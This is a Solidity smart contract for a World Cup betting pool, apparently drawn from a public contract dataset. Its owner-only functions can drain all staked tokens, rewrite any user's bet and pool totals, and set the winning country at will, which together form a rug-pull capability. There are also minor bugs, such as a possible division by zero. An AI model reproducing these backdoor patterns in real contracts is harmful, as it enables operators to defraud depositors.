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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.17;
abstract contract Context{
function _msgSender() internal view virtual returns (address){
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address){
return _owner;
}
modifier onlyOwner(){
require(_owner == _msgSender(), "Ownerable: caller is not owner");
_;
}
function renounceOwnership() public virtual onlyOwner{
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner{
require(newOwner != address(0), "Ownable: new owner is the zero address");
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TransferDetails(address indexed from, address indexed to, uint256 total_Amount, uint256 reflected_amount, uint256 total_TransferAmount, uint256 reflected_TransferAmount);
}
contract BettingPool is Context, Ownable{
using SafeMath for uint256;
struct Bet {
uint256 betAmount;
uint8 betCountry;
}
mapping(address => Bet) public _betInfo;
mapping(uint8 => uint256) public _poolAmount;
uint256 private constant MAX = ~uint256(0);
IERC20 private stadium;
bool private bettingStart;
bool private drawMode = false;
bool private isGameStart = false;
uint256 private bettingAmountTotal;
uint8 private worldChampion = 0;
address payable private _deploymentWallet;
constructor() {
stadium = IERC20(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);
_deploymentWallet = payable(_msgSender());
}
function PlaceBet(uint256 amount,uint8 country) external {
require(amount > 0 && country > 0);
require(stadium.balanceOf(_msgSender()) >= amount && stadium.allowance(_msgSender(), address(this)) >= amount);
require(isGameStart);
if(_betInfo[_msgSender()].betCountry == 0){
_betInfo[_msgSender()].betAmount = amount;
_betInfo[_msgSender()].betCountry = country;
_poolAmount[country] = _poolAmount[country].add(amount);
}
else{
require(_betInfo[_msgSender()].betCountry == country);
_poolAmount[country] = _poolAmount[country].add(amount);
_betInfo[_msgSender()].betAmount = _betInfo[_msgSender()].betAmount.add(amount);
}
stadium.transferFrom(_msgSender(),address(this), amount);
}
function checkContractBalance() public view returns(uint256){
return stadium.balanceOf(address(this));
}
function setGameStart(bool onoff) external {
require(_msgSender() == _deploymentWallet);
isGameStart = onoff;
}
function setDrawMode(bool onoff) external {
require(_msgSender() == _deploymentWallet);
drawMode = onoff;
}
function setWorldChampion(uint8 country) external {
require(_msgSender() == _deploymentWallet);
require(!isGameStart);
bettingAmountTotal = stadium.balanceOf(address(this));
worldChampion = country;
}
function claim() external {
require(!isGameStart);
require(worldChampion>0);
if(_betInfo[_msgSender()].betCountry == worldChampion){
uint256 winAmount = bettingAmountTotal.mul(_betInfo[_msgSender()].betAmount).div(_poolAmount[worldChampion]);
stadium.transfer(_msgSender(), winAmount);
_betInfo[_msgSender()].betAmount = 0;
_betInfo[_msgSender()].betCountry = 0;
}
}
function claimEst(uint256 amount, uint8 country) external view returns(uint256){
if(bettingAmountTotal >0){
return bettingAmountTotal.mul(amount).div(_poolAmount[country]);
}
return bettingAmountTotal.mul(amount).div(_poolAmount[country]);
}
function backupClaim() external {
require(drawMode);
require(_betInfo[_msgSender()].betAmount > 0);
stadium.transfer(_msgSender(), _betInfo[_msgSender()].betAmount);
_betInfo[_msgSender()].betAmount = 0;
_betInfo[_msgSender()].betCountry = 0;
}
function clearStuckBalance(uint256 amountPercentage) external {
require(_msgSender() == _deploymentWallet);
uint256 amountToClear = amountPercentage * address(this).balance / 100;
payable(msg.sender).transfer(amountToClear);
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
if(tokens == 0){
tokens = IERC20(tokenAddress).balanceOf(address(this));
}
return IERC20(tokenAddress).transfer(msg.sender, tokens);
}
function managePoolInfo(uint8 country, uint256 poolBalance) external onlyOwner(){
_poolAmount[country] = poolBalance;
}
function manageUserInfo(address user, uint8 country, uint256 betAmount) external onlyOwner(){
_betInfo[user].betCountry = country;
_betInfo[user].betAmount = betAmount;
}
} |